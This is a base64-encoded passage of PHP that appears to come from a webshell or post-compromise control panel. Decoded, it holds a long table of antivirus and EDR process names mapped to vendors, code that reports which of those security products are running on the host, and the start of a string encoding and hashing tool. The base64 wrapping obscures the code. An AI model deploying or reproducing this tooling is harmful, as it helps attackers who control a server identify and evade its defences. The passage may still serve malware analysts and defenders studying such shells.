PT4gIkFkdG9taSIsCiAgICAgICAgICAgICJwcm9jZXNzbW9uaXRvci5leGUiID0+ICJTeXNpbnRlcm5hbHMiLAogICAgICAgICAgICAicHJvcG9ydC5leGUiID0+ICLS0daqybHI7b34s8wsw/uzxtTdzrTK1cK8IiwKICAgICAgICAgICAgInByb3RlY3R4LmV4ZSIgPT4gIlByb3RlY3RYIiwKICAgICAgICAgICAgInBzcGYuZXhlIiA9PiAi0tHWqsmxyO29+LPMLMP7s8bU3c60ytXCvCIsCiAgICAgICAgICAgICJwdXJnZS5leGUiID0+ICLS0daqybHI7b34s8wsw/uzxtTdzrTK1cK8IiwKICAgICAgICAgICAgInFjb25zb2xlLmV4ZSIgPT4gIk5vcnRvbiBBbnRpVmlydXMgUXVhcmFudGluZSBDb25zb2xlIiwKICAgICAgICAgICAgInFzZXJ2ZXIuZXhlIiA9PiAiTm9ydG9uIEludGVybmV0IFNlY3VyaXR5IiwKICAgICAgICAgICAgInJhcGFwcC5leGUiID0+ICJCbGFja0lDRSIsCiAgICAgICAgICAgICJyYjMyLmV4ZSIgPT4gIlJhcGlkQmxhc3RlciIsCiAgICAgICAgICAgICJyY3N5bmMuZXhlIiA9PiAiUHJpemVTdXJmZXIiLAogICAgICAgICAgICAicmVhbG1vbi5leGUiID0+ICJSZWFsbW9uICIsCiAgICAgICAgICAgICJyZXNjdWUuZXhlIiA9PiAi0tHWqsmxyO29+LPMLMP7s8bU3c60ytXCvCIsCiAgICAgICAgICAgICJyZXNjdWUzMi5leGUiID0+ICK/qLDNy7m7+bulwarN+LCyyKvM19ewIiwKICAgICAgICAgICAgInJzaGVsbC5leGUiID0+ICLS0daqybHI7b34s8wsw/uzxtTdzrTK1cK8IiwKICAgICAgICAgICAgInJ0dnNjbjk1LmV4ZSIgPT4gIlJlYWwtdGltZSB2aXJ1cyBzY2FubmVyICIsCiAgICAgICAgICAgICJydWxhdW5jaC5leGUiID0+ICJNY0FmZWUgVXNlciBJbnRlcmZhY2UiLAogICAgICAgICAgICAicnVuMzJkbGwuZXhlIiA9PiAiUEFMIFBDIFNweSIsCiAgICAgICAgICAgICJzYWZld2ViLmV4ZSIgPT4gIlBTYWZlIFRlY25vbG9naWEiLAogICAgICAgICAgICAic2JzZXJ2LmV4ZSIgPT4gIk5vcnRvbiBBbnRpdmlydXMiLAogICAgICAgICAgICAic2Nyc2Nhbi5leGUiID0+ICIzNjDJsba+IiwKICAgICAgICAgICAgInNmYy5leGUiID0+ICJTeXN0ZW0gZmlsZSBjaGVja2VyIiwKICAgICAgICAgICAgInNoLmV4ZSIgPT4gIk1LUyBUb29sa2l0IGZvciBXaW4zIiwKICAgICAgICAgICAgInNob3diZWhpbmQuZXhlIiA9PiAiTWljcm9TbWFydHMgRW50ZXJwcmlzZSBDb21wb25lbnQgIiwKICAgICAgICAgICAgInNvYXAuZXhlIiA9PiAiU3lzdGVtIFNvYXAgUHJvIiwKICAgICAgICAgICAgInNvZmkuZXhlIiA9PiAi0tHWqsmxyO29+LPMLMP7s8bU3c60ytXCvCIsCiAgICAgICAgICAgICJzcGVybS5leGUiID0+ICLS0daqybHI7b34s8wsw/uzxtTdzrTK1cK8IiwKICAgICAgICAgICAgInN1cHBvcnRlcjUuZXhlIiA9PiAiZVNjb3JjaGVyt7Syoba+IiwKICAgICAgICAgICAgInN5bXByb3h5c3ZjLmV4ZSIgPT4gIlN5bWFudGVjIiwKICAgICAgICAgICAgInN5bXRyYXkuZXhlIiA9PiAiU3ltYW50ZWMiLAogICAgICAgICAgICAidGJzY2FuLmV4ZSIgPT4gIlRodW5kZXJCWVRFIiwKICAgICAgICAgICAgInRjLmV4ZSIgPT4gIlRpbWVDYWxlbmRlIiwKICAgICAgICAgICAgInRpdGFuaW4uZXhlIiA9PiAiVGl0YW5IaWRlIiwKICAgICAgICAgICAgInR2bWQuZXhlIiA9PiAiVG90YWwgVmVsb2NpdHkiLAogICAgICAgICAgICAidHZ0bWQuZXhlIiA9PiAiIFRvdGFsIFZlbG9jaXR5IiwKICAgICAgICAgICAgInZldHRyYXkuZXhlIiA9PiAiZVRydXN0IiwKICAgICAgICAgICAgInZpci1oZWxwLmV4ZSIgPT4gItLR1qrJscjtvfizzCzD+7PG1N3OtMrVwrwiLAogICAgICAgICAgICAidm5wYzMwMDAuZXhlIiA9PiAi0tHWqsmxyO29+LPMLMP7s8bU3c60ytXCvCIsCiAgICAgICAgICAgICJ2cGMzMi5leGUiID0+ICJTeW1hbnRlYyIsCiAgICAgICAgICAgICJ2cGM0Mi5leGUiID0+ICJTeW1hbnRlYyIsCiAgICAgICAgICAgICJ2c2h3aW4zMi5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAidnNtYWluLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJ2c3N0YXQuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgIndmaW5kdjMyLmV4ZSIgPT4gItLR1qrJscjtvfizzCzD+7PG1N3OtMrVwrwiLAogICAgICAgICAgICAiemFwcm8uZXhlIiA9PiAiWm9uZSBBbGFybSIsCiAgICAgICAgICAgICJ6b25lYWxhcm0uZXhlIiA9PiAiWm9uZSBBbGFybSIsCiAgICAgICAgICAgICJBVlBNLmV4ZSIgPT4gIkthc3BlcnNreSIsCiAgICAgICAgICAgICJBMkNNRC5leGUiID0+ICJFbXNpc29mdCBBbnRpLU1hbHdhcmUiLAogICAgICAgICAgICAiQTJTRVJWSUNFLmV4ZSIgPT4gImEtc3F1YXJlZCBmcmVlIiwKICAgICAgICAgICAgIkEyRlJFRS5leGUiID0+ICJhLXNxdWFyZWQgRnJlZSIsCiAgICAgICAgICAgICJBRFZDSEsuZXhlIiA9PiAiTm9ydG9uIEFudGlWaXJ1cyIsCiAgICAgICAgICAgICJBR0IuZXhlIiA9PiAisLLM7LfAz98iLAogICAgICAgICAgICAiQUhQUk9DTU9OU0VSVkVSLmV4ZSIgPT4gIrCyzOy3wM/fIiwKICAgICAgICAgICAgIkFJUkRFRkVOU0UuZXhlIiA9PiAiQWlyRGVmZW5zZSIsCiAgICAgICAgICAgICJBTEVSVFNWQy5leGUiID0+ICJOb3J0b24gQW50aVZpcnVzIiwKICAgICAgICAgICAgIkFWSVJBLmV4ZSIgPT4gItChuuzJocmxtr4iLAogICAgICAgICAgICAiQU1PTi5leGUiID0+ICJUaW55IFBlcnNvbmFsIEZpcmV3YWxsIiwKICAgICAgICAgICAgIkFWWi5leGUiID0+ICJBVloiLAogICAgICAgICAgICAiQU5USVZJUi5leGUiID0+ICLS0daqybHI7b34s8wsw/uzxtTdzrTK1cK8IiwKICAgICAgICAgICAgIkFQVlhEV0lOLmV4ZSIgPT4gItDcw6jOwMq/IiwKICAgICAgICAgICAgIkFTSE1BSVNWLmV4ZSIgPT4gIkFsd2lsIiwKICAgICAgICAgICAgIkFTSFNFUlYuZXhlIiA9PiAiQXZhc3QgQW50aS12aXJ1cyIsCiAgICAgICAgICAgICJBU0hTSU1QTC5leGUiID0+ICJBVkFTVCFWaXJ1c0NsZWFuZXIiLAogICAgICAgICAgICAiQVNIV0VCU1YuZXhlIiA9PiAiQXZhc3QiLAogICAgICAgICAgICAiQVNXVVBEU1YuZXhlIiA9PiAiQXZhc3QiLAogICAgICAgICAgICAiQVNXU0NBTi5leGUiID0+ICJBdmFzdCIsCiAgICAgICAgICAgICJBVkNJTUFOLmV4ZSIgPT4gItDcw6jOwMq/IiwKICAgICAgICAgICAgIkFWQ09OU09MLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJBVkVOR0lORS5leGUiID0+ICLQ3MOozsDKvyIsCiAgICAgICAgICAgICJBVkVTVkMuZXhlIiA9PiAiQXZpcmEgQW50aVZpciBTZWN1cml0eSBTZXJ2aWNlIiwKICAgICAgICAgICAgIkFWRVZMMzIuZXhlIiA9PiAi0tHWqsmxyO29+LPMLMP7s8bU3c60ytXCvCIsCiAgICAgICAgICAgICJBVkdBTS5leGUiID0+ICJBVkciLAogICAgICAgICAgICAiQVZHQ0MuZXhlIiA9PiAiQVZHIiwKICAgICAgICAgICAgIkFWR0NIU1ZYLmV4ZSIgPT4gIkFWRyIsCiAgICAgICAgICAgICJBVkdDU1JWWCIgPT4gIkFWRyIsCiAgICAgICAgICAgICJBVkdOU1guZXhlIiA9PiAiQVZHIiwKICAgICAgICAgICAgIkFWR0NDMzIuZXhlIiA9PiAiQVZHIiwKICAgICAgICAgICAgIkFWR0NUUkwuZXhlIiA9PiAiQVZHIiwKICAgICAgICAgICAgIkFWR0VNQy5leGUiID0+ICJBVkciLAogICAgICAgICAgICAiQVZHRldTUlYuZXhlIiA9PiAiQVZHIiwKICAgICAgICAgICAgIkFWR05UTUdSLmV4ZSIgPT4gIkFWRyIsCiAgICAgICAgICAgICJBVkdTRVJWLmV4ZSIgPT4gIkFWRyIsCiAgICAgICAgICAgICJBVkdUUkFZLmV4ZSIgPT4gIkFWRyIsCiAgICAgICAgICAgICJBVkdVUFNWQy5leGUiID0+ICJBVkciLAogICAgICAgICAgICAiQVZJTklUTlQuZXhlIiA9PiAiQ29tbWFuZCBBbnRpVmlydXMgZm9yIE5UIFNlcnZlciIsCiAgICAgICAgICAgICJBVlBDQy5leGUiID0+ICJLYXNwZXJza3kiLAogICAgICAgICAgICAiQVZTRVJWRVIuZXhlIiA9PiAiS2VyaW8gTWFpbFNlcnZlciIsCiAgICAgICAgICAgICJBVlNDSEVEMzIuZXhlIiA9PiAiSCtCRURWIiwKICAgICAgICAgICAgIkFWU1lOTUdSLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJBVldVUFNSVi5leGUiID0+ICJIK0JFRFYiLAogICAgICAgICAgICAiQkRTV0lUQ0guZXhlIiA9PiAiQml0RGVmZW5kZXIgTW9kdWxlIiwKICAgICAgICAgICAgIkJMQUNLRC5leGUiID0+ICJCbGFja0lDRSIsCiAgICAgICAgICAgICJDQ0VWVE1HUi5leGUiID0+ICJTeW1hbnRlYyIsCiAgICAgICAgICAgICJDRlAuZXhlIiA9PiAiQ09NT0RPIiwKICAgICAgICAgICAgIkNMQU1XSU4uZXhlIiA9PiAiQ2xhbVdpbiBQb3J0YWJsZSIsCiAgICAgICAgICAgICJDVVJFSVQuZXhlIiA9PiAiRHJXZWIgQ3VyZUlUIiwKICAgICAgICAgICAgIkRFRldBVENILmV4ZSIgPT4gIk5vcnRvbiBBbnRpdmlydXMiLAogICAgICAgICAgICAiRFJXQURJTlMuZXhlIiA9PiAiRHIuV2ViIiwKICAgICAgICAgICAgIkRSV0VCLmV4ZSIgPT4gIkRyLldlYiIsCiAgICAgICAgICAgICJERUZFTkRFUkRBRU1PTi5leGUiID0+ICJTaGFkb3dEZWZlbmRlciIsCiAgICAgICAgICAgICJFV0lET0NUUkwuZXhlIiA9PiAiRXdpZG8gU2VjdXJpdHkgU3VpdGUiLAogICAgICAgICAgICAiRVpBTlRJVklSVVNSRUdJU1RSQVRJT05DSEVDSy5leGUiID0+ICJlLVRydXN0IEFudGl2aXJ1cyIsCiAgICAgICAgICAgICJGSVJFV0FMTC5leGUiID0+ICJBc2hhbXBvb1NvZnR3YXJlIiwKICAgICAgICAgICAgIkZQUk9UVFJBWS5leGUiID0+ICJGLVBST1QgQW50aXZpcnVzIiwKICAgICAgICAgICAgIkZQV0lOLmV4ZSIgPT4gIlZlcml6b24iLAogICAgICAgICAgICAiRlJFU0hDTEFNLmV4ZSIgPT4gIkNsYW1BViIsCiAgICAgICAgICAgICJGU0FWMzIuZXhlIiA9PiAiRi1TZWN1cmUiLAogICAgICAgICAgICAiRlNCV1NZUy5leGUiID0+ICJGLXNlY3VyZSIsCiAgICAgICAgICAgICJGU0RGV0QuZXhlIiA9PiAiRi1TZWN1cmUiLAogICAgICAgICAgICAiRlNHSzMyLmV4ZSIgPT4gIkYtU2VjdXJlIiwKICAgICAgICAgICAgIkZTR0szMlNULmV4ZSIgPT4gIkYtU2VjdXJlIiwKICAgICAgICAgICAgIkZTTUEzMi5leGUiID0+ICJGLVNlY3VyZSIsCiAgICAgICAgICAgICJGU01CMzIuZXhlIiA9PiAiRi1TZWN1cmUiLAogICAgICAgICAgICAiRlNTTTMyLmV4ZSIgPT4gIkYtU2VjdXJlIiwKICAgICAgICAgICAgIkdVQVJER1VJLmV4ZSIgPT4gIs34086xo+/aIiwKICAgICAgICAgICAgIkdVQVJETlQuZXhlIiA9PiAiSUtBUlVTIiwKICAgICAgICAgICAgIklBTUFQUC5leGUiID0+ICJTeW1hbnRlYyIsCiAgICAgICAgICAgICJJTk9DSVQuZXhlIiA9PiAiZVRydXN0IiwKICAgICAgICAgICAgIklOT1JQQy5leGUiID0+ICJlVHJ1c3QiLAogICAgICAgICAgICAiSU5PUlQuZXhlIiA9PiAiZVRydXN0IiwKICAgICAgICAgICAgIklOT1RBU0suZXhlIiA9PiAiZVRydXN0IiwKICAgICAgICAgICAgIklOT1VQVE5HLmV4ZSIgPT4gImVUcnVzdCIsCiAgICAgICAgICAgICJJU0FGRS5leGUiID0+ICJlVHJ1c3QiLAogICAgICAgICAgICAiS0FWLmV4ZSIgPT4gIkthc3BlcnNreSIsCiAgICAgICAgICAgICJLQVZNTS5leGUiID0+ICJLYXNwZXJza3kiLAogICAgICAgICAgICAiS0FWUEYuZXhlIiA9PiAiS2FzcGVyc2t5IiwKICAgICAgICAgICAgIktBVlBGVy5leGUiID0+ICJLYXNwZXJza3kiLAogICAgICAgICAgICAiS0FWU1RBUlQuZXhlIiA9PiAiS2FzcGVyc2t5IiwKICAgICAgICAgICAgIktBVlNWQy5leGUiID0+ICJLYXNwZXJza3kiLAogICAgICAgICAgICAiS0FWU1ZDVUkuZXhlIiA9PiAiS2FzcGVyc2t5IiwKICAgICAgICAgICAgIktNQUlMTU9OLmV4ZSIgPT4gIr3wyb22vrDUIiwKICAgICAgICAgICAgIk1DQUdFTlQuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgIk1DTU5IRExSLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJNQ1JFR1dJWi5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAiTUNVUERBVEUuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgIk1DVlNTSExELmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJNSU5JTE9HLmV4ZSIgPT4gIlpvbmUgQWxhcm0iLAogICAgICAgICAgICAiTVlBR1RTVkMuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgIk1ZQUdUVFJZLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJOQVZBUFNWQy5leGUiID0+ICJOb3J0b24iLAogICAgICAgICAgICAiTkFWQVBXMzIuZXhlIiA9PiAiTm9ydG9uIiwKICAgICAgICAgICAgIk5BVkxVMzIuZXhlIiA9PiAiTm9ydG9uIiwKICAgICAgICAgICAgIk5BVlczMi5leGUiID0+ICJOb3J0b24gQW50aXZpcnVzIiwKICAgICAgICAgICAgIk5FT1dBVENITE9HLmV4ZSIgPT4gIk5lb1dhdGNoIiwKICAgICAgICAgICAgIk5FT1dBVENIVFJBWS5leGUiID0+ICJOZW9XYXRjaCIsCiAgICAgICAgICAgICJOSVNTRVJWLmV4ZSIgPT4gIk5vcnRvbiIsCiAgICAgICAgICAgICJOSVNVTS5leGUiID0+ICJOb3J0b24iLAogICAgICAgICAgICAiTk1BSU4uZXhlIiA9PiAiTm9ydG9uIiwKICAgICAgICAgICAgIk5PRDMyLmV4ZSIgPT4gIkVTRVQgTk9EMzIiLAogICAgICAgICAgICAiTlBGTVNHLmV4ZSIgPT4gIk5vcm1hbrj2yMu3wLvwx70iLAogICAgICAgICAgICAiTlBST1RFQ1QuZXhlIiA9PiAiU3ltYW50ZWMiLAogICAgICAgICAgICAiTlNNRFRSLmV4ZSIgPT4gIk5vcnRvbiIsCiAgICAgICAgICAgICJOVFJUU0NBTi5leGUiID0+ICLH98rGv8a8vCIsCiAgICAgICAgICAgICJPRkNQRldTVkMuZXhlIiA9PiAiT2ZmaWNlU2Nhbk5UIiwKICAgICAgICAgICAgIk9OTElORU5ULmV4ZSIgPT4gItLR1qrJscjtvfizzCzD+7PG1N3OtMrVwrwiLAogICAgICAgICAgICAiT1BfTU9OLmV4ZSIgPT4gIiBPdXRwb3N0RmlyZXdhbGwiLAogICAgICAgICAgICAiUEFWRklSRVMuZXhlIiA9PiAi0NzDqM7Ayr8iLAogICAgICAgICAgICAiUEFWRk5TVlIuZXhlIiA9PiAi0NzDqM7Ayr8iLAogICAgICAgICAgICAiUEFWS1JFLmV4ZSIgPT4gItDcw6jOwMq/IiwKICAgICAgICAgICAgIlBBVlBST1QuZXhlIiA9PiAi0NzDqM7Ayr8iLAogICAgICAgICAgICAiUEFWUFJPWFkuZXhlIiA9PiAi0NzDqM7Ayr8iLAogICAgICAgICAgICAiUEFWUFJTUlYuZXhlIiA9PiAi0NzDqM7Ayr8iLAogICAgICAgICAgICAiUEFWU1JWNTEuZXhlIiA9PiAi0NzDqM7Ayr8iLAogICAgICAgICAgICAiUEFWU1MuZXhlIiA9PiAi0NzDqM7Ayr8iLAogICAgICAgICAgICAiUENDR1VJREUuZXhlIiA9PiAiUEMtY2lsbGluIiwKICAgICAgICAgICAgIlBDQ0lPTU9OLmV4ZSIgPT4gIlBDLWNpbGxpbiIsCiAgICAgICAgICAgICJQQ0NOVE1PTi5leGUiID0+ICJQQy1jaWxsaW4iLAogICAgICAgICAgICAiUENDUEZXLmV4ZSIgPT4gIsf3ysa/xry8IiwKICAgICAgICAgICAgIlBDQ1RMQ09NLmV4ZSIgPT4gIsf3ysa/xry8IiwKICAgICAgICAgICAgIlBDVEFWLmV4ZSIgPT4gIlBDIFRvb2xzIEFudGlWaXJ1cyIsCiAgICAgICAgICAgICJQRVJTRlcuZXhlIiA9PiAiVGlueSBQZXJzb25hbCBGaXJld2FsbCIsCiAgICAgICAgICAgICJQRVJWQUMuZXhlIiA9PiAi0tHWqsmxyO29+LPMLMP7s8bU3c60ytXCvCIsCiAgICAgICAgICAgICJQRVNUUEFUUk9MLmV4ZSIgPT4gIklrYXJ1cyIsCiAgICAgICAgICAgICJQUkVWU1JWLmV4ZSIgPT4gItDcw6jOwMq/IiwKICAgICAgICAgICAgIlJUVlNDTjk1LmV4ZSIgPT4gIlJlYWwtdGltZSBWaXJ1cyBTY2FubmVyIiwKICAgICAgICAgICAgIlNBVkFETUlOU0VSVklDRS5leGUiID0+ICJTQVYiLAogICAgICAgICAgICAiU0FWTUFJTi5leGUiID0+ICJTQVYiLAogICAgICAgICAgICAiU0FWU0NBTi5leGUiID0+ICJTQVYiLAogICAgICAgICAgICAiU0RIRUxQLmV4ZSIgPT4gIlNweXdhcmUgRG9jdG9yIiwKICAgICAgICAgICAgIlNIU1RBVC5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAiU1BCQkNTVkMuZXhlIiA9PiAiU3ltYW50ZWMiLAogICAgICAgICAgICAiU1BJREVSQ1BMLmV4ZSIgPT4gIkRyLldlYiIsCiAgICAgICAgICAgICJTUElERVJNTC5leGUiID0+ICJEci5XZWIiLAogICAgICAgICAgICAiU1BJREVSVUkuZXhlIiA9PiAiRHIuV2ViIiwKICAgICAgICAgICAgIlNQWUJPVFNELmV4ZSIgPT4gIlNweWJvdCAiLAogICAgICAgICAgICAiU1dBR0VOVC5leGUiID0+ICJTb25pY1dBTEwiLAogICAgICAgICAgICAiU1dET0NUT1IuZXhlIiA9PiAiU29uaWNXQUxMIiwKICAgICAgICAgICAgIlNXTkVUU1VQLmV4ZSIgPT4gIlNvcGhvcyIsCiAgICAgICAgICAgICJTWU1MQ1NWQy5leGUiID0+ICJTeW1hbnRlYyIsCiAgICAgICAgICAgICJTWU1QUk9YWVNWQy5leGUiID0+ICJTeW1hbnRlYyIsCiAgICAgICAgICAgICJTWU1TUE9SVC5leGUiID0+ICJTeXNtYW50ZWMiLAogICAgICAgICAgICAiU1lNV1NDLmV4ZSIgPT4gIlN5c21hbnRlYyIsCiAgICAgICAgICAgICJTWU5NR1IuZXhlIiA9PiAiU3lzbWFudGVjIiwKICAgICAgICAgICAgIlRNTElTVEVOLmV4ZSIgPT4gIsf3ysa/xry8IiwKICAgICAgICAgICAgIlRNTlRTUlYuZXhlIiA9PiAix/fKxr/GvLwiLAogICAgICAgICAgICAiVE1QUk9YWS5leGUiID0+ICLH98rGv8a8vCIsCiAgICAgICAgICAgICJUTkJVVElMLmV4ZSIgPT4gIkFudGktVmlydXMiLAogICAgICAgICAgICAiVkJBMzJFQ00uZXhlIiA9PiAi0tHWqsmxyO29+LPMLMP7s8bU3c60ytXCvCIsCiAgICAgICAgICAgICJWQkEzMklGUy5leGUiID0+ICLS0daqybHI7b34s8wsw/uzxtTdzrTK1cK8IiwKICAgICAgICAgICAgIlZCQTMyUFAzLmV4ZSIgPT4gItLR1qrJscjtvfizzCzD+7PG1N3OtMrVwrwiLAogICAgICAgICAgICAiVkNSTU9OLmV4ZSIgPT4gIlZpcnVzQ2hhc2VyIiwKICAgICAgICAgICAgIlZSTU9OTlQuZXhlIiA9PiAiSEFVUkkiLAogICAgICAgICAgICAiVlJNT05TVkMuZXhlIiA9PiAiSEFVUkkiLAogICAgICAgICAgICAiVlNIV0lOMzIuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgIlZTU1RBVC5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAiWENPTU1TVlIuZXhlIiA9PiAiQml0RGVmZW5kZXIiLAogICAgICAgICAgICAiWk9ORUFMQVJNLmV4ZSIgPT4gIlpvbmUgQWxhcm0iLAogICAgICAgICAgICAiMzYwcnAuZXhlIiA9PiAiMzYwybG2viIsCiAgICAgICAgICAgICJhZndTZXJ2LmV4ZSIgPT4gIiBBdmFzdCBBbnRpdmlydXMgIiwKICAgICAgICAgICAgInNhZmVib3hUcmF5LmV4ZSIgPT4gIjM2MMmxtr4iLAogICAgICAgICAgICAiMzYwc2FmZWJveC5leGUiID0+ICIzNjDJsba+IiwKICAgICAgICAgICAgIlFRUENUcmF5LmV4ZSIgPT4gIlFRtefE1LncvNIiLAogICAgICAgICAgICAiS1NhZmVUcmF5LmV4ZSIgPT4gIr3wyb22vrDUIiwKICAgICAgICAgICAgIktTYWZlU3ZjLmV4ZSIgPT4gIr3wyb22vrDUIiwKICAgICAgICAgICAgIktXYXRjaC5leGUiID0+ICK98Mm9tr6w1CIsCiAgICAgICAgICAgICJnb3ZfZGVmZW5jZV9zZXJ2aWNlLmV4ZSIgPT4gItTGy/giLAogICAgICAgICAgICAiZ292X2RlZmVuY2VfZGFlbW9uLmV4ZSIgPT4gItTGy/giLAogICAgICAgICAgICAic21hcnRzY3JlZW4uZXhlIiA9PiAiV2luZG93cyBEZWZlbmRlciIsCiAgICAgICAgICAgICJtYWNvbXBhdHN2Yy5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAibWNhbW5zdmMuZXhlICIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJtYXN2Yy5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAibWZlbW1zLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJtY3RhcnkuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgIm1jc2hpZWxkLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJtZmV3Yy5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAibWZld2NoLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJtZmVmdy5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAibWZlZmlyZS5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAibWZldHAuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgIm1mZWNhbmFyeS5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAibWZlY29uc29sZS5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAibWZlZXNwLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJmY2FnLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJmY2Fncy5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAiZmNhZ3N3ZC5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAiZmNhZ2F0ZS5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAiMzYwRW50Q2xpZW50LmV4ZSIgPT4gIszsx+ZFRFIgQWdlbnQiLAogICAgICAgICAgICAiZWRyX3NlY19wbGFuLmV4ZSIgPT4gIsnu0MW3/kVEUiBBZ2VudCIsCiAgICAgICAgICAgICJlZHJfbW9uaXRvci5leGUiID0+ICLJ7tDFt/5FRFIgQWdlbnQiLAogICAgICAgICAgICAiZWRyX2FnZW50LmV4ZSIgPT4gIsnu0MW3/kVEUiBBZ2VudCIsCiAgICAgICAgICAgICJFU0NDQ29udHJvbC5leGUiID0+ICLG9MP30Mezvczsq5FFRFIgQWdlbnQiLAogICAgICAgICAgICAiRVNDQy5leGUiID0+ICLG9MP30Mezvczsq5FFRFIgQWdlbnQiLAogICAgICAgICAgICAiRVNBVi5leGUiID0+ICLG9MP30Mezvczsq5FFRFIgQWdlbnQiLAogICAgICAgICAgICAiRVNDQ0luZGV4LmV4ZSIgPT4gIsb0w/fQx7O9zOyrkUVEUiBBZ2VudCIsCiAgICAgICAgICAgICJBbGlZdW5EdW4uZXhlIiA9PiAisKLA79TG1Ma23CIsCiAgICAgICAgICAgICJ3ZHN3ZnNhZmUuZXhlIiA9PiAiMzYwybG2vi3N+LbcIgogICAgICAgICk7CgogICAgICAgICRjb3VudCA9IDA7CiAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOwogICAgICAgIGZvcmVhY2ggKCRwcm9jZXNzTmFtZXMgYXMgJHByb2Nlc3MpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGF2TGlzdCBhcyAka2V5ID0+ICR2YWx1ZSkgewogICAgICAgICAgICAgICAgaWYgKHN0cnRvbG93ZXIodHJpbSgkcHJvY2VzcykpID09IHN0cnRvbG93ZXIoJGtleSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSIjRkYwMDAwIj4nIC4gJHByb2Nlc3MgLiAnIC0tLT4gJyAuICR2YWx1ZSAuICc8L2ZvbnQ+PGJyPic7CiAgICAgICAgICAgICAgICAgICAgJGNvdW50Kys7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmICghJGNvdW50KQogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iIzAwZmYwMCI+yajD6M3qs8kszrS3os/WybHI7b34s8w8L2ZvbnQ+JzsKCiAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgICAgICBicmVhazsKCiAgICBjYXNlICJzdHJpbmdUb29scyI6CiAgICAgICAgJHN0cmluZ1Rvb2xzID0gYXJyYXkoCiAgICAgICAgICAgICdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsCiAgICAgICAgICAgICdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsCiAgICAgICAgICAgICdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywKICAgICAgICAgICAgJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLAogICAgICAgICAgICAnRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsCiAgICAgICAgICAgICdtZDUgaGFzaCcgPT4gJ21kNScsCiAgICAgICAgICAgICdzaGExIGhhc2gnID0+ICdzaGExJywKICAgICAgICAgICAgJ2NyeXB0JyA9PiAnY3J5cHQnLAogICAgICAgICAgICAnQ1JDMzInID0+ICdjcmMzMicsCiAgICAgICAgICAgICdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLAogICAgICAgICAgICAnSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywKICAgICAgICAgICAgJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLAogICAgICAgICAgICAnSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLAogICAgICAgICAgICAnREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsCiAgICAgICAgICAgICdERUMgdG8gQklOJyA9PiAnZGVjYmluJywKICAgICAgICAgICAgJ0JJTiB0byBIRVgnID0+ICdiaW5oZXgnLAogICAgICAgICAgICAnQklOIHRvIERFQycgPT4gJ2JpbmRlYycsCiAgICAgICAgICAgICdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLAogICAgICAgICAgICAnU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVyJywKICAgICAgICAgICAgJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywKICAgICAgICAgICAgJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLAogICAgICAgICk7CgogICAgICAgIGh0bWxfbignPHRyPjx0ZD7Qxc+iseDC67LZ1/cs1qez1mhhc2i6r8r9Ljxicj48YnI+PGZvcm0gbWV0aG9kPSJQT1NUIj4nKTsKICAgICAgICBwcmludCA8PDxFT0YKPHNlbGVjdCBuYW1lPSJmdW5jIj4KPG9wdGlvbiB2YWx1ZT0iYmFzZTY0X2VuY29kZSIgc2VsZWN0ZWQ9IiI+YmFzZTY0seDC6zwvb3B0aW9uPg